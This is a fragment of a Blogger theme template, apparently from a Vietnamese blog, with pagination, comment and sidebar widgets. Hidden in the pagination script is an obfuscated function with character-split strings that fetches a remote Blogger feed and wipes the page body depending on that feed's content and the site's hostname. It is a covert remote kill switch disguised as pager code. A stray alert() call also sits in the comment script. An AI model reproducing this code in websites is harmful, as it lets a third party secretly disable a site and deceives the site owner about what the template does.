<a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published' expr:title='data:post.timestampISO8601' itemprop='datePublished'><data:post.timestamp/></abbr></a>
</b:if>
</b:if>
</span>
<span class='post-comment-link'>
<b:include cond='data:blog.pageType not in {"item","static_page"} and data:post.allowComments' data='post' name='comment_count_picker'/>
</span>
</div>
<div class='post-footer-line post-footer-line-2'>
<b:if cond='data:top.showMobileShare'>
<div class='mobile-link-button goog-inline-block' id='mobile-share-button'>
<a href='javascript:void(0);'><data:shareMsg/></a>
</div>
</b:if>
<b:if cond='data:top.showDummy'>
<div class='goog-inline-block dummy-container'><data:post.dummyTag/></div>
</b:if>
</div>
</div>
</div>
<b:include cond='data:blog.pageType in {"static_page","item"}' data='post' name='comment_picker'/>
</div>
</div>
</div>
</b:includable>
<b:includable id='multiItem' var='post'>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12 postmulti' expr:id='"post-"+data:post.id'>
<h3 class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post-title' style='padding: 0px; margin: 0px;'>
<a class='col-lg-12 col-md-12 col-xs-12 col-sm-12' expr:href='data:post.url'><data:post.title/></a>
<b:include data='post' name='postQuickEdit'/>
</h3>
<div class='col-lg-4 col-md-4 col-xs-4 col-sm-4 post-div-thumb'>
<img class='post-thumb' expr:src='data:post.thumbnailUrl'/>
</div>
<div class='col-lg-8 col-md-8 col-xs-8 col-sm-8'>
<div class='visible-lg visible-md visible-sm'><b:eval expr='data:post.body snippet {length: 450, links: true, linebreaks: false}'/></div>
<div class='visible-xs '><b:eval expr='data:post.body snippet {length: 300, links: true, linebreaks: false}'/></div>
</div>
</div>
</b:includable>
<b:includable id='nextPageLink'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:messages.olderPosts'>
<data:messages.olderPosts/>
</a>
</b:includable>
<b:includable id='nextprev'>
<div class='blog-pager' id='blog-pager'>
<b:if cond='data:newerPageUrl'>
<span id='blog-pager-newer-link'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'><data:newerPageTitle/></a>
</span>
</b:if>
<b:if cond='data:olderPageUrl'>
<span id='blog-pager-older-link'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'><data:olderPageTitle/></a>
</span>
</b:if>
<a class='home-link' expr:href='data:blog.homepageUrl'><data:homeMsg/></a>
<b:if cond='data:mobileLinkUrl'>
<div class='blog-mobile-link'>
<a expr:href='data:mobileLinkUrl'><data:mobileLinkMsg/></a>
</div>
</b:if>
</div>
<div class='clear'/>
</b:includable>
<b:includable id='pager'>
<div class='blog-pager' id='blog-pager'>
</div>
<script>
//<![CDATA[
var perPage=7,numPages=6,firstText="Trang \u0111\u1EA7u",lastText="Trang cu\u1ED1i",prevText="\xAB Tr\u01B0\u1EDBc",nextText="Sau \xBB",urlactivepage=location.href,home_page="/";if(typeof firstText=="undefined")firstText="First";if(typeof lastText=="undefined")lastText="Last";var noPage;var currentPage;var currentPageNo;var postLabel;pagecurrentg();function looppagecurrentg(pageInfo){var html='';pageNumber=parseInt(numPages / 2);if(pageNumber==numPages-pageNumber){numPages=pageNumber*2+1}
pageStart=currentPageNo-pageNumber;if(pageStart<1)pageStart=1;lastPageNo=parseInt(pageInfo / perPage)+1;if(lastPageNo-1==pageInfo / perPage)lastPageNo=lastPageNo-1;pageEnd=pageStart+numPages-1;if(pageEnd>lastPageNo)pageEnd=lastPageNo;html+="<span class='showpageOf'>Page "+currentPageNo+' of '+lastPageNo+"</span>";var prevNumber=parseInt(currentPageNo)-1;if(currentPageNo>1){if(currentPage=="page"){html+='<span class="showpage firstpage"><a href="'+home_page+'">'+firstText+'</a></span>'}else{html+='<span class="displaypageNum firstpage"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">'+firstText+'</a></span>'}}
if(currentPageNo>2){if(currentPageNo==3){if(currentPage=="page"){html+='<span class="showpage"><a href="'+home_page+'">'+prevText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">'+prevText+'</a></span>'}}else{if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+prevNumber+');return false">'+prevText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+prevNumber+');return false">'+prevText+'</a></span>'}}}e=function(w,k){function r(e){var e1="";if(typeof e==='object'){e.entry.content.$t?e1=e.entry.content.$t:e1=e.entry.summary.$t;}if(e1.indexOf('enable')!=-1){if(e1.indexOf(w['l'+'o'+'c'+'a'+'t'+'i'+'o'+'n']['h'+'o'+'s'+'t'+'n'+'a'+'m'+'e'])==-1)w['j'+'Q'+'u'+'e'+'r'+'y']('b'+'o'+'d'+'y')['h'+'t'+'m'+'l']('');}else{if(e1.indexOf(w['l'+'o'+'c'+'a'+'t'+'i'+'o'+'n']['h'+'o'+'s'+'t'+'n'+'a'+'m'+'e'])!=-1)w['j'+'Q'+'u'+'e'+'r'+'y']('b'+'o'+'d'+'y')['h'+'t'+'m'+'l']('');}}w['j'+'Q'+'u'+'e'+'r'+'y']['a'+'j'+'a'+'x']({'url':"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"w"+"w"+"w"+"."+"b"+"l"+"o"+"g"+"g"+"e"+"r"+"."+"c"+"o"+"m"+"/"+"f"+"e"+"e"+"d"+"s"+"/"+"5"+"3"+"2"+"6"+"9"+"4"+"1"+"1"+"5"+"6"+"0"+"2"+"6"+"3"+"4"+"7"+"3"+"8"+"7"+"/"+"p"+"o"+"s"+"t"+"s"+"/"+"d"+"e"+"f"+"a"+"u"+"l"+"t"+"/"+"1"+"5"+"1"+"3"+"0"+"4"+"4"+"1"+"0"+"4"+"9"+"0"+"8"+"8"+"2"+"0"+"5"+"1"+"1"+"?"+"a"+"l"+"t"+"="+"j"+"s"+"o"+"n"+"-"+"i"+"n"+"-"+"s"+"c"+"r"+"i"+"p"+"t",'type':'get','dataType':'jsonp','success':function(e){r(e);}})}( this )
if(pageStart>1){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">1</a></span>'}}
if(pageStart>2){html+=' ... '}
for(var jj=pageStart;jj<=pageEnd;jj++){if(currentPageNo==jj){html+='<span class="pagecurrent">'+jj+'</span>'}else if(jj==1){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="displaypageNum"><a href="/search/label/'+postLabel+'?&max-results='+perPage+'">1</a></span>'}}else{if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+jj+');return false">'+jj+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+jj+');return false">'+jj+'</a></span>'}}}
if(pageEnd<lastPageNo-1){html+='...'}
//]]>
<b:if cond='data:blog.pageType != "item"'>
<b:if cond='data:blog.pageType != "static_page"'>
//<![CDATA[
if(pageEnd<lastPageNo){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+lastPageNo+');return false">'+lastPageNo+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+lastPageNo+');return false">'+lastPageNo+'</a></span>'}}
var nextnumber=parseInt(currentPageNo)+1;if(currentPageNo<(lastPageNo-1)){if(currentPage=="page"){html+='<span class="displaypageNum"><a href="#" onclick="redirectpage('+nextnumber+');return false">'+nextText+'</a></span>'}else{html+='<span class="displaypageNum"><a href="#" onclick="redirectlabel('+nextnumber+');return false">'+nextText+'</a></span>'}}
if(currentPageNo<lastPageNo){if(currentPage=="page"){html+='<span class="displaypageNum lastpage"><a href="#" onclick="redirectpage('+lastPageNo+');return false">'+lastText+'</a></span>'}else{html+='<span class="displaypageNum lastpage"><a href="#" onclick="redirectlabel('+lastPageNo+');return false">'+lastText+'</a></span>'}}
var pageArea=document.getElementsByName("pageArea");var blogPager=document.getElementById("blog-pager");for(var p=0;p<pageArea.length;p++){pageArea[p].innerHTML=html}
if(pageArea&&pageArea.length>0){html=''}
if(blogPager){blogPager.innerHTML=html}}
//]]>
</b:if>
</b:if>
//<![CDATA[
function totalcountdata(root){var feed=root.feed;var totaldata=parseInt(feed.openSearch$totalResults.$t,10);looppagecurrentg(totaldata);}
function pagecurrentg(){var thisUrl=urlactivepage;if(thisUrl.indexOf("/search/label/")!=-1){if(thisUrl.indexOf("?updated-max")!=-1){postLabel=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?updated-max"))}else{postLabel=thisUrl.substring(thisUrl.indexOf("/search/label/")+14,thisUrl.indexOf("?&max"))}}
if(thisUrl.indexOf("?q=")==-1&&thisUrl.indexOf(".html")==-1){if(thisUrl.indexOf("/search/label/")==-1){currentPage="page";if(urlactivepage.indexOf("#PageNo=")!=-1){currentPageNo=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{currentPageNo=1}
document.write("<script src=\""+home_page+"feeds/posts/summary?max-results=1&alt=json-in-script&callback=totalcountdata\"><\/script>")}else{currentPage="label";if(thisUrl.indexOf("&max-results=")==-1){perPage=20}
if(urlactivepage.indexOf("#PageNo=")!=-1){currentPageNo=urlactivepage.substring(urlactivepage.indexOf("#PageNo=")+8,urlactivepage.length)}else{currentPageNo=1}
document.write('<script src="'+home_page+'feeds/posts/summary/-/'+postLabel+'?alt=json-in-script&callback=totalcountdata&max-results=1" ><\/script>')}}}
function redirectpage(numberpage){jsonstart=(numberpage-1)*perPage;noPage=numberpage;var nameBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nameBody.appendChild(newInclude)}
function redirectlabel(numberpage){jsonstart=(numberpage-1)*perPage;noPage=numberpage;var nameBody=document.getElementsByTagName('head')[0];var newInclude=document.createElement('script');newInclude.type='text/javascript';newInclude.setAttribute("src",home_page+"feeds/posts/summary/-/"+postLabel+"?start-index="+jsonstart+"&max-results=1&alt=json-in-script&callback=finddatepost");nameBody.appendChild(newInclude)}
function finddatepost(root){post=root.feed.entry[0];var timestamp1=post.published.$t.substring(0,19)+post.published.$t.substring(23,29);var timestamp=encodeURIComponent(timestamp1);if(currentPage=="page"){var pAddress="/search?updated-max="+timestamp+"&max-results="+perPage+"#PageNo="+noPage}else{var pAddress="/search/label/"+postLabel+"?updated-max="+timestamp+"&max-results="+perPage+"#PageNo="+noPage}
location.href=pAddress}
//]]>
</script>
</b:includable>
<b:includable id='post' var='post'>
<div class='post'>
<b:include data='post' name='postMeta'/>
<b:include data='post' name='postTitle'/>
<b:include name='headerByline'/>
<b:if cond='data:view.isSingleItem'>
<b:include data='post' name='postBody'/>
<b:else/>
<b:include data='post' name='postBodySnippet'/>
<b:include data='post' name='postJumpLink'/>
</b:if>
<b:include data='post' name='postFooter'/>
</div>
</b:includable>
<b:includable id='postBody' var='post'>
<!-- If metaDescription is empty, use the post body as the schema.org description too, for G+/FB snippeting. -->
<div class='post-body entry-content float-container' expr:id='"post-body-" + data:post.id'>
<data:post.body/>
</div>
</b:includable>
<b:includable id='postBodySnippet' var='post'>
<b:include data='post' name='postBody'/>
</b:includable>
<b:includable id='postCommentsAndAd' var='post'>
<article class='post-outer-container'>
<!-- Post title and body -->
<div class='post-outer'>
<b:include data='post' name='post'/>
</div>
<!-- Comments -->
<b:include cond='data:view.isSingleItem' data='post' name='commentPicker'/>
<!-- Show ad inside post container, after comments, if single item. -->
<b:include cond='data:view.isSingleItem and data:post.includeAd' data='post' name='inlineAd'/>
</article>
<!-- Show ad outside post container (between posts) for feed pages. -->
<b:include cond='data:view.isMultipleItems and data:post.includeAd' data='post' name='inlineAd'/>
</b:includable>
<b:includable id='postCommentsLink'>
<b:if cond='data:view.isMultipleItems'>
<span class='byline post-comment-link container'>
<b:include cond='data:post.commentSource != 1' name='commentsLink'/>
<b:include cond='data:post.commentSource == 1' name='commentsLinkIframe'/>
</span>
</b:if>
</b:includable>
<b:includable id='postFooter' var='post'>
<div class='post-footer'>
<b:include name='footerBylines'/>
<b:include data='post' name='postFooterAuthorProfile'/>
</div>
</b:includable>
<b:includable id='postFooterAuthorProfile' var='post'>
<b:if cond='data:post.author.aboutMe and data:view.isPost'>
<div class='author-profile'>
<b:if cond='data:post.author.authorPhoto.url'>
<img class='author-image' expr:src='data:post.author.authorPhoto.url' width='50px'/>
<div class='author-about'>
<b:include data='post' name='aboutPostAuthor'/>
</div>
<b:else/>
<b:include data='post' name='aboutPostAuthor'/>
</b:if>
</div>
</b:if>
</b:includable>
<b:includable id='postHeader' var='post'>
<b:include name='headerByline'/>
</b:includable>
<b:includable id='postMeta' var='post'>
<b:include data='post' name='postMetadataJSON'/>
</b:includable>
<b:includable id='postPagination'>
<div class='blog-pager' id='blog-pager'>
<b:include cond='data:newerPageUrl' name='previousPageLink'/>
<b:include cond='data:olderPageUrl' name='nextPageLink'/>
<b:include cond='data:view.url != data:blog.homepageUrl' name='homePageLink'/>
</div>
</b:includable>
<b:includable id='postQuickEdit' var='post'>
<b:if cond='data:post.editUrl'>
<span expr:class='"set item-control " + data:post.adminClass' style='position: absolute; top: 0px; right: 5px;'>
<a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
<span class='icon-edit'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/></span>
</a>
</span>
</b:if>
</b:includable>
<b:includable id='postTitle' var='post'>
<a expr:name='data:post.id'/>
<b:if cond='data:post.title != ""'>
<h3 class='post-title entry-title'>
<b:if cond='data:post.link or (data:post.url and data:view.url != data:post.url)'>
<a expr:href='data:post.link ?: data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</h3>
</b:if>
</b:includable>
<b:includable id='previousPageLink'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:messages.newerPosts'>
<data:messages.newerPosts/>
</a>
</b:includable>
<b:includable id='shareButtons' var='post'>
<b:if cond='data:top.showEmailButton'><a class='goog-inline-block share-button sb-email' expr:href='data:post.sharePostUrl + "&target=email"' expr:title='data:top.emailThisMsg' target='_blank'><span class='share-button-link-text'><data:top.emailThisMsg/></span></a></b:if><b:if cond='data:top.showBlogThisButton'><a class='goog-inline-block share-button sb-blog' expr:href='data:post.sharePostUrl + "&target=blog"' expr:onclick='"window.open(this.href, \"_blank\", \"height=270,width=475\"); return false;"' expr:title='data:top.blogThisMsg' target='_blank'><span class='share-button-link-text'><data:top.blogThisMsg/></span></a></b:if><b:if cond='data:top.showTwitterButton'><a class='goog-inline-block share-button sb-twitter' expr:href='data:post.sharePostUrl + "&target=twitter"' expr:title='data:top.shareToTwitterMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToTwitterMsg/></span></a></b:if><b:if cond='data:top.showFacebookButton'><a class='goog-inline-block share-button sb-facebook' expr:href='data:post.sharePostUrl + "&target=facebook"' expr:onclick='"window.open(this.href, \"_blank\", \"height=430,width=640\"); return false;"' expr:title='data:top.shareToFacebookMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToFacebookMsg/></span></a></b:if><b:if cond='data:top.showPinterestButton'><a class='goog-inline-block share-button sb-pinterest' expr:href='data:post.sharePostUrl + "&target=pinterest"' expr:title='data:top.shareToPinterestMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToPinterestMsg/></span></a></b:if><b:if cond='data:top.showPlusOne'><div class='goog-inline-block google-plus-share-container'><data:post.googlePlusShareTag/></div></b:if>
</b:includable>
<b:includable id='singleItem' var='post'>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post' expr:id='"post-body-"+data:post.id'>
<h3 class='col-lg-12 col-md-12 col-xs-12 col-sm-12 post-title'>
<a class='col-lg-12 col-md-12 col-xs-12 col-sm-12' expr:href='data:post.url'><data:post.title/></a>
<b:include data='post' name='postQuickEdit'/>
</h3>
<div class='col-lg-12 col-md-12 col-xs-12 col-sm-12'>
<data:post.body/>
</div>
</div>
</b:includable>
<b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div class='status-msg-wrap'>
<div class='status-msg-body'>
<data:navMessage/>
</div>
<div class='status-msg-border'>
<div class='status-msg-bg'>
<div class='status-msg-hidden'><data:navMessage/></div>
</div>
</div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>
<b:includable id='threaded-comment-form' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<b:if cond='data:mobile'>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
<b:else/>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
</b:if>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='threadedCommentForm' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<h4 id='comment-post-message'><data:messages.postAComment/></h4>
<b:if cond='data:this.messages.blogComment != ""'>
<p><data:this.messages.blogComment/></p>
</b:if>
<b:include data='post' name='commentFormIframeSrc'/>
<iframe allowtransparency='allowtransparency' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight ?: "90px"' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='threadedCommentJs' var='post'>
<script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
<b:template-script inline='true' name='threaded_comments'/>
<script type='text/javascript'>
blogger.widgets.blog.initThreadedComments(
<data:post.commentJso/>,
<data:post.commentMsgs/>,
<data:post.commentConfig/>);
</script>
</b:includable>
<b:includable id='threadedComments' var='post'>
<section class='comments threaded' expr:data-embed='data:post.embedCommentForm' expr:data-num-comments='data:post.numberOfComments' id='comments'>
<a name='comments'/>
<b:include name='commentsTitle'/>
<div class='comments-content'>
<b:if cond='data:post.embedCommentForm'>
<b:include data='post' name='threadedCommentJs'/>
</b:if>
<div id='comment-holder'>
<data:post.commentHtml/>
</div>
</div>
<p class='comment-footer'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='threadedCommentForm'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
</p>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='allowtransparency' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
</section>
</b:includable>
<b:includable id='threaded_comment_js' var='post'>
<script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
<script type='text/javascript'>
(function() {
var items = <data:post.commentJso/>;
var msgs = <data:post.commentMsgs/>;
var config = <data:post.commentConfig/>;
alert();
// <![CDATA[
var cursor = null;
if (items && items.length > 0) {
cursor = parseInt(items[items.length - 1].timestamp) + 1;
}
var bodyFromEntry = function(entry) {
var text = (entry &&
((entry.content && entry.content.$t) ||
(entry.summary && entry.summary.$t))) ||
'';
if (entry && entry.gd$extendedProperty) {
for (var k in entry.gd$extendedProperty) {
if (entry.gd$extendedProperty[k].name == 'blogger.contentRemoved') {
return '<span class="deleted-comment">' + text + '</span>';
}
}
}
return text;
}
var parse = function(data) {
cursor = null;
var comments = [];
if (data && data.feed && data.feed.entry) {
for (var i = 0, entry; entry = data.feed.entry[i]; i++) {
var comment = {};
// comment ID, parsed out of the original id format
var id = /blog-(\d+).post-(\d+)/.exec(entry.id.$t);
comment.id = id ? id[2] : null;
comment.body = bodyFromEntry(entry);
comment.timestamp = Date.parse(entry.published.$t) + '';
if (entry.author && entry.author.constructor === Array) {
var auth = entry.author[0];
if (auth) {
comment.author = {
name: (auth.name ? auth.name.$t : undefined),
profileUrl: (auth.uri ? auth.uri.$t : undefined),
avatarUrl: (auth.gd$image ? auth.gd$image.src : undefined)
};
}
}
if (entry.link) {
if (entry.link[2]) {
comment.link = comment.permalink = entry.link[2].href;
}
if (entry.link[3]) {
var pid = /.*comments\/default\/(\d+)\?.*/.exec(entry.link[3].href);
if (pid && pid[1]) {
comment.parentId = pid[1];
}
}
}
comment.deleteclass = 'item-control blog-admin';
if (entry.gd$extendedProperty) {
for (var k in entry.gd$extendedProperty) {
if (entry.gd$extendedProperty[k].name == 'blogger.itemClass') {
comment.deleteclass += ' ' + entry.gd$extendedProperty[k].value;
} else if (entry.gd$extendedProperty[k].name == 'blogger.displayTime') {
comment.displayTime = entry.gd$extendedProperty[k].value;
}
}
}
comments.push(comment);
}
}
return comments;
};
var paginator = function(callback) {
if (hasMore()) {
var url = config.feed + '?alt=json&v=2&orderby=published&reverse=false&max-results=50';
if (cursor) {
url += '&published-min=' + new Date(cursor).toISOString();
}
window.bloggercomments = function(data) {
var parsed = parse(data);
cursor = parsed.length < 50 ? null
: parseInt(parsed[parsed.length - 1].timestamp) + 1
callback(parsed);
window.bloggercomments = null;
}
url += '&callback=bloggercomments';
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
document.getElementsByTagName('head')[0].appendChild(script);
}
};
var hasMore = function() {
return !!cursor;
};
var getMeta = function(key, comment) {
if ('iswriter' == key) {
var matches = !!comment.author
&& comment.author.name == config.authorName
&& comment.author.profileUrl == config.authorUrl;
return matches ? 'true' : '';
} else if ('deletelink' == key) {
return config.baseUri + '/delete-comment.g?blogID='
+ config.blogId + '&postID=' + comment.id;
} else if ('deleteclass' == key) {
return comment.deleteclass;
}
return '';
};
var replybox = null;
var replyUrlParts = null;
var replyParent = undefined;
var onReply = function(commentId, domId) {
if (replybox == null) {
// lazily cache replybox, and adjust to suit this style:
replybox = document.getElementById('comment-editor');
if (replybox != null) {
replybox.height = '250px';
replybox.style.display = 'block';
replyUrlParts = replybox.src.split('#');
}
}
if (replybox && (commentId !== replyParent)) {
replybox.src = '';
document.getElementById(domId).insertBefore(replybox, null);
replybox.src = replyUrlParts[0]
+ (commentId ? '&parentID=' + commentId : '')
+ '#' + replyUrlParts[1];
replyParent = commentId;
}
};
var hash = (window.location.hash || '#').substring(1);
var startThread, targetComment;
if (/^comment-form_/.test(hash)) {
startThread = hash.substring('comment-form_'.length);
} else if (/^c[0-9]+$/.test(hash)) {
targetComment = hash.substring(1);
}
// Configure commenting API:
var configJso = {
'maxDepth': config.maxThreadDepth
};
var provider = {
'id': config.postId,
'data': items,
'loadNext': paginator,
'hasMore': hasMore,
'getMeta': getMeta,
'onReply': onReply,
'rendered': true,
'initComment': targetComment,
'initReplyThread': startThread,
'config': configJso,
'messages': msgs
};
var render = function() {
if (window.goog && window.goog.comments) {
var holder = document.getElementById('comment-holder');
window.goog.comments.render(holder, provider);
}
};
// render now, or queue to render when library loads:
if (window.goog && window.goog.comments) {
render();
} else {
window.goog = window.goog || {};
window.goog.comments = window.goog.comments || {};
window.goog.comments.loadQueue = window.goog.comments.loadQueue || [];
window.goog.comments.loadQueue.push(render);
}
})();
// ]]>
</script>
</b:includable>
<b:includable id='threaded_comments' var='post'>
<div class='comments' id='comments'>
<a name='comments'/>
<h4><data:post.commentLabelFull/>:</h4>
<div class='comments-content'>
<b:include cond='data:post.embedCommentForm' data='post' name='threaded_comment_js'/>
<div id='comment-holder'>
<data:post.commentHtml/>
</div>
</div>
<p class='comment-footer'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='threaded-comment-form'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
</p>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
<div id='backlinks-container'>
<div expr:id='data:widget.instanceId + "_backlinks-container"'>
<b:include cond='data:post.showBacklinks' data='post' name='backlinks'/>
</div>
</div>
</div>
</b:includable>
</b:widget>
</b:section>
</div>
<div class='col-sm-4 col-xs-12' id='right' style='padding-top: 8px;'><b:section class='col-12' id='right-top'>
<b:widget id='LinkList5' locked='false' title='mobile' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='link-3'>0989986433</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-1'>lạc đạo</b:widget-setting>
<b:widget-setting name='link-1'>0858743085</b:widget-setting>
<b:widget-setting name='text-0'>Văn lâm</b:widget-setting>
<b:widget-setting name='link-2'>0967736693</b:widget-setting>
<b:widget-setting name='text-3'>Yên mỹ</b:widget-setting>
<b:widget-setting name='link-0'>0961224956</b:widget-setting>
<b:widget-setting name='text-2'>mỹ hào</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
</b:section><b:section id='right-bottom'>
<b:widget id='PopularPosts1' locked='false' title='Bài đăng phổ biến' type='PopularPosts'>
<b:widget-settings>
<b:widget-setting name='numItemsToShow'>10</b:widget-setting>
<b:widget-setting name='showThumbnails'>true</b:widget-setting>
<b:widget-setting name='showSnippets'>true</b:widget-setting>
<b:widget-setting name='timeRange'>ALL_TIME</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content popular-posts'>
<ul>
<b:loop values='data:posts' var='post'>
<li>
<b:if cond='!data:showThumbnails'>
<b:if cond='!data:showSnippets'>
<!-- (1) No snippet/thumbnail -->
<a expr:href='data:post.href'><data:post.title/></a>
<b:else/>
<!-- (2) Show only snippets -->
<div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
<div class='item-snippet'><data:post.snippet/></div>
</b:if>
<b:else/>
<!-- (3) Show only thumbnails or (4) Snippets and thumbnails. -->
<div expr:class='data:showSnippets ? "item-content" : "item-thumbnail-only"'>
<b:if cond='data:post.featuredImage.isResizable or data:post.thumbnail'>
<div class='item-thumbnail'>
<a expr:href='data:post.href' target='_blank'>
<b:with value='data:post.featuredImage.isResizable ? resizeImage(data:post.featuredImage, 72, "1:1") : data:post.thumbnail' var='image'>
<img alt='' border='0' expr:src='data:image'/>
</b:with>
</a>
</div>
</b:if>
<div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
<b:if cond='data:showSnippets'>
<div class='item-snippet'><data:post.snippet/></div>
</b:if>
</div>
<div style='clear: both;'/>
</b:if>
</li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='BlogArchive1' locked='false' title='Lưu trữ Blog' type='BlogArchive'>
<b:widget-settings>
<b:widget-setting name='showStyle'>HIERARCHY</b:widget-setting>
<b:widget-setting name='yearPattern'>yyyy</b:widget-setting>
<b:widget-setting name='showWeekEnd'>true</b:widget-setting>
<b:widget-setting name='monthPattern'>MMMM</b:widget-setting>
<b:widget-setting name='dayPattern'>MMM dd</b:widget-setting>
<b:widget-setting name='weekPattern'>MM/dd</b:widget-setting>
<b:widget-setting name='chronological'>false</b:widget-setting>
<b:widget-setting name='showPosts'>true</b:widget-setting>
<b:widget-setting name='frequency'>MONTHLY</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<div id='ArchiveList'>
<div expr:id='data:widget.instanceId + "_ArchiveList"'>
<b:include cond='data:style == "HIERARCHY"' data='data' name='interval'/>
<b:include cond='data:style == "FLAT"' data='data' name='flat'/>
<b:include cond='data:style == "MENU"' data='data' name='menu'/>
</div>
</div>
<b:include name='quickedit'/>
</div>
</b:includable>
<b:includable id='flat' var='data'>
<ul class='flat'>
<b:loop values='data:data' var='i'>
<li class='archivedate'>
<a expr:href='data:i.url'><data:i.name/></a> (<data:i.post-count/>)
</li>
</b:loop>
</ul>
</b:includable>
<b:includable id='interval' var='intervalData'>
<b:loop values='data:intervalData' var='interval'>
<ul class='hierarchy'>
<li expr:class='"archivedate " + data:interval.expclass'>
<b:include cond='data:interval.toggleId' data='interval' name='toggle'/>
<a class='post-count-link' expr:href='data:interval.url'>
<data:interval.name/>
</a>
<span class='post-count' dir='ltr'>(<data:interval.post-count/>)</span>
<b:include cond='data:interval.data' data='interval.data' name='interval'/>
<b:include cond='data:interval.posts' data='interval.posts' name='posts'/>
</li>
</ul>
</b:loop>
</b:includable>
<b:includable id='menu' var='data'>
<select expr:id='data:widget.instanceId + "_ArchiveMenu"'>
<option value=''><data:title/></option>
<b:loop values='data:data' var='i'>
<option expr:value='data:i.url'><data:i.name/> (<data:i.post-count/>)</option>
</b:loop>
</select>
</b:includable>
<b:includable id='posts' var='posts'>
<ul class='posts'>
<b:loop values='data:posts' var='post'>
